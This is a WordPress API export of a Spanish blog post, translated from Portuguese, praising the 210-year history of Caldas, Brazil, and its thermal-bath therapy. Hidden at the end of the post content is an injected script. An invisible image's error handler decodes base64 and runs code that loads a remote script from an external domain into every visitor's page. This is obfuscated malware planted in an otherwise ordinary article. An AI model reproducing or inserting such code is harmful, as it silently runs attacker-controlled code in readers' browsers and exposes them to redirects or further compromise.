{"id":6541,"date":"2023-03-23T23:20:56","date_gmt":"2023-03-24T02:20:56","guid":{"rendered":"https:\/\/argentinatermal.com.ar\/?p=6541"},"modified":"2025-08-13T16:03:37","modified_gmt":"2025-08-13T19:03:37","slug":"curacion-o-bienestar-un-camino-a-elegir-en-el-bicentenario-del-balneario-de-caldas-aqui-esta-la-respuesta","status":"publish","type":"post","link":"https:\/\/argentinatermal.com.ar\/?p=6541","title":{"rendered":"<strong>\u00bfCuraci\u00f3n o bienestar? \u00bfUn camino a elegir en el bicentenario del balneario de Caldas? Aqu\u00ed est\u00e1 la respuesta.<\/strong>"},"content":{"rendered":"\n<p>Se acerca otro cumplea\u00f1os. Y no es uno m\u00e1s. Este es el doscientos d\u00e9cimo aniversario. Doscientos diez a\u00f1os de vida, historia y cultura de una tierra que una vez fue llamada \u201cla amada del Se\u00f1or\u201d en palabras de un inmortal poeta.<a href=\"#_ftn1\" id=\"_ftnref1\">[1]<\/a><\/p>\n\n\n\n<p>Elevado a la categor\u00eda de parroquia en el 27\/03\/1813, el antiguo campamento pas\u00f3 a denominarse \u201cNossa Senhora do Patroc\u00ednio do Rio Verde de Caldas\u201d, marcando as\u00ed el inicio de esta historia bicentenaria que acompa\u00f1\u00f3 el desarrollo del termalismo en el centro de Brasil. En los a\u00f1os siguientes, Nossa Senhora do Patrocinio de Caldas fue elevada a la categor\u00eda de Villa donde recibi\u00f3 el nombre de Caldas por Ley n\u00ba 134 del 16 de marzo de 1839.<\/p>\n\n\n\n<p>Coincidencia o no, 1839 es una fecha importante para la historia del Termalismo en Brasil, ya que definitivamente marca un per\u00edodo en el que las aguas termales del pa\u00eds aparecen por primera vez en una publicaci\u00f3n m\u00e9dica cient\u00edfica sobre sus efectos curativos.<\/p>\n\n\n\n<p>Los a\u00f1os pasan y el termalismo en Brasil conquista una mirada diferenciada, ya que es a partir de 2006 que el Ministerio de Salud instituye, a trav\u00e9s de la Ordenanza 971, la Pol\u00edtica Nacional de Pr\u00e1cticas Integrativas y Complementarias en Salud, donde el Termalismo\/Crenoterapia gana un lugar destacado, ahora, ya no como curativo , sino la integradora y complementaria, alineada principalmente con la visi\u00f3n de salud instituida a fines de la d\u00e9cada de 1940 y la creciente demanda de las personas por las Medicinas Tradicionales Complementarias (MTC), que durante un per\u00edodo fueron marginadas de los sistemas de salud.<\/p>\n\n\n\n<p>Los llamados PICS tienen como objetivo promover mecanismos naturales para la prevenci\u00f3n de lesiones y restauraci\u00f3n de la salud con un enfoque en la escucha calificada, el fortalecimiento del v\u00ednculo terap\u00e9utico y la integraci\u00f3n del ser humano con el medio ambiente y la sociedad, adem\u00e1s de abarcar la visi\u00f3n ampliada del proceso salud-enfermedad y la promoci\u00f3n global del cuidado humano, especialmente del autocuidado.<\/p>\n\n\n\n<p>Caldas, en unos d\u00edas festejar\u00e1s tus 210 a\u00f1os de historia y experiencia. Hoy, la ciudad es reconocida nacional e internacionalmente por sus pol\u00edticas p\u00fablicas que miraron una vez m\u00e1s a sus or\u00edgenes, a sus aguas curativas. De la Ley n\u00ba 2441 que instituy\u00f3 la Pol\u00edtica Municipal de Pr\u00e1cticas Integrativas y Complementarias con \u00e9nfasis en el Termalismo Social y la primera edici\u00f3n de TERMACALDAS, congreso internacional dedicado al Termalismo y los destinos tur\u00edsticos saludables a trav\u00e9s de las aguas minerales, les puedo asegurar que por todo lo expuesto brevemente aqu\u00ed expuesto, curaci\u00f3n y bienestar es una ecuaci\u00f3n que no puede disociarse. Diecisiete a\u00f1os despu\u00e9s de la implementaci\u00f3n de PNPICS, somos testigos efectivos de c\u00f3mo el Termalismo Social est\u00e1 induciendo la promoci\u00f3n de la salud y el desarrollo del turismo, ya sea en t\u00e9rminos de salud o bienestar. En tiempos como el nuestro, post-pandemia, con miles de personas afectadas no solo con dolores articulares, inflamaci\u00f3n de la piel, sino principalmente afectadas emocionalmente, yo s\u00e9 y otros termalistas tambi\u00e9n saben, cu\u00e1nto estas aguas y sus ciudades les devuelven salud, calidad de vida y bienestar. Detr\u00e1s de sus ba\u00f1eras hay todo un ambiente termal y nada puede pasar desapercibido. Es una calle de doble sentido, como la fe y la raz\u00f3n, la curaci\u00f3n y la enfermedad, la alegr\u00eda y la tristeza.<\/p>\n\n\n\n<p>Entonces, en estos 210 a\u00f1os de experiencia cuya madre tierra ha brindado desarrollo econ\u00f3mico, social, cultural y medicinal a otras ciudades de su entorno, es justo decir que no solo Caldas, sino todas las ciudades que tienen el diferencial de las aguas termales en su subsuelo tiene la obligaci\u00f3n de mantenerse vivo y trabajar para la valorizaci\u00f3n de la medicina termal, ya que se ha desarrollado, investigado y puesto a disposici\u00f3n de otras personas en territorios internacionales desde hace algunos siglos, trabajando juntos en la curaci\u00f3n y el bienestar, adjetivos indisociables de la difusi\u00f3n y accesibilidad de la terapia termal.<\/p>\n\n\n\n<p>Caldas celebra su cumplea\u00f1os y recibe reconocimiento y admiraci\u00f3n de otros municipios e investigadores termales que entienden y\/o est\u00e1n entendiendo esta ecuaci\u00f3n. Garantizar el acceso a su comunidad local al cl\u00e1sico tratamiento termal, respetando su esencia hist\u00f3rica pero sin olvidar los conceptos contempor\u00e1neos que ven al hombre como un todo garantiza esta ciudad, en este aniversario tan especial, un lugar en la historia del Termalismo en Brasil, tantas veces descuidado. A\u00fan queda mucha historia por escribir y contar, desde los primeros m\u00e9dicos, empresarios, administradores, curanderos, turistas y sus defensores. Caldas, que tambi\u00e9n ha vivido el auge y la decadencia del Termalismo Brasil, puede celebrar hoy, ya que es motivo de orgullo para muchos amantes de esta ciencia milenaria.<\/p>\n\n\n\n<p>Su balneario est\u00e1 rodeado por un hermoso parque, con una naturaleza exuberante y fuentes. radiactivo, alcalino-azufre y bicarbonato-s\u00f3dico emana salud y bienestar y adem\u00e1s celebra las 9271 consultas realizadas en el 2022. Su ambiente termal caracterizado por la singularidad y autenticidad de la cultura de su pa\u00eds entrega resultados no solo a los ni\u00f1os de su tierra, pero tambi\u00e9n a los ni\u00f1os de otras tierras, en el proyecto de regionalizaci\u00f3n del tratamiento termal, hito hist\u00f3rico e in\u00e9dito del Termalismo brasile\u00f1o, tambi\u00e9n descrito en el Proceso de Registro de Bienes Intangibles IQ -IIC \u2013 \u201cEl uso terap\u00e9utico de las aguas termales de Pocinhos do Rio Verde\u201d , 2022. De las entra\u00f1as de sus tierras emana un agua sanadora, integradora, cient\u00edfica y llena de historia. Que tu cumplea\u00f1os 210 sea otro cap\u00edtulo bien escrito, en muchas manos, centenarias, mujeres bicentenarias y contempor\u00e1neas que vieron y ven en su ADN toda la particularidad y belleza de esta respetable cultura balnearia.<\/p>\n\n\n\n<p>\u00a1\u00a1Felicidades Caldas!! Felicidades a todos los que escribieron y siguen escribiendo esta historia!!<\/p>\n\n\n\n<p><em>Dra. Jussara Marques Oliveira Marrichi.<\/em><\/p>\n\n\n\n<p><em>Turist\u00f3loga, Historiadora, Esteticista y actual Coordinadora de Proyectos Termales del Balneario Pocinhos do Rio Verde en Caldas\/MG.<\/em><\/p>\n\n\n\n<p><em><strong>Traducci\u00f3n del portugu\u00e9s al espa\u00f1ol, Lic. Maximiliano P\u00e9rez Joos<\/strong><\/em><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\" \/>\n\n\n\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped wp-block-gallery-1 is-layout-flex wp-block-gallery-is-layout-flex\">\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1.jpeg\"><img decoding=\"async\" width=\"1024\" height=\"768\" data-id=\"6543\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-1024x768.jpeg\" alt=\"\" class=\"wp-image-6543\" srcset=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-1024x768.jpeg 1024w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-300x225.jpeg 300w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-768x576.jpeg 768w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-1536x1152.jpeg 1536w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-80x60.jpeg 80w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-265x198.jpeg 265w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-696x522.jpeg 696w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-1068x801.jpeg 1068w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-560x420.jpeg 560w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-320x240.jpeg 320w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-480x360.jpeg 480w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1-800x600.jpeg 800w, https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/WhatsApp-Image-2022-06-29-at-3.19.55-PM-1.jpeg 1600w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/images.jpg\"><img decoding=\"async\" width=\"275\" height=\"183\" data-id=\"6542\" src=\"https:\/\/argentinatermal.com.ar\/wp-content\/uploads\/2023\/03\/images.jpg\" alt=\"\" class=\"wp-image-6542\" \/><\/a><\/figure>\n<\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Se acerca otro cumplea\u00f1os. Y no es uno m\u00e1s. Este es el doscientos d\u00e9cimo aniversario. Doscientos diez a\u00f1os de vida, historia y cultura de una tierra que una vez fue llamada \u201cla amada del Se\u00f1or\u201d en palabras de un inmortal poeta.[1] Elevado a la categor\u00eda de parroquia en el 27\/03\/1813, el antiguo campamento pas\u00f3 a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":6543,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[31],"tags":[],"class_list":["post-6541","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-colaboradores"],"_links":{"self":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/6541","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=6541"}],"version-history":[{"count":2,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/6541\/revisions"}],"predecessor-version":[{"id":10449,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/posts\/6541\/revisions\/10449"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=\/wp\/v2\/media\/6543"}],"wp:attachment":[{"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=6541"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=6541"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/argentinatermal.com.ar\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=6541"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}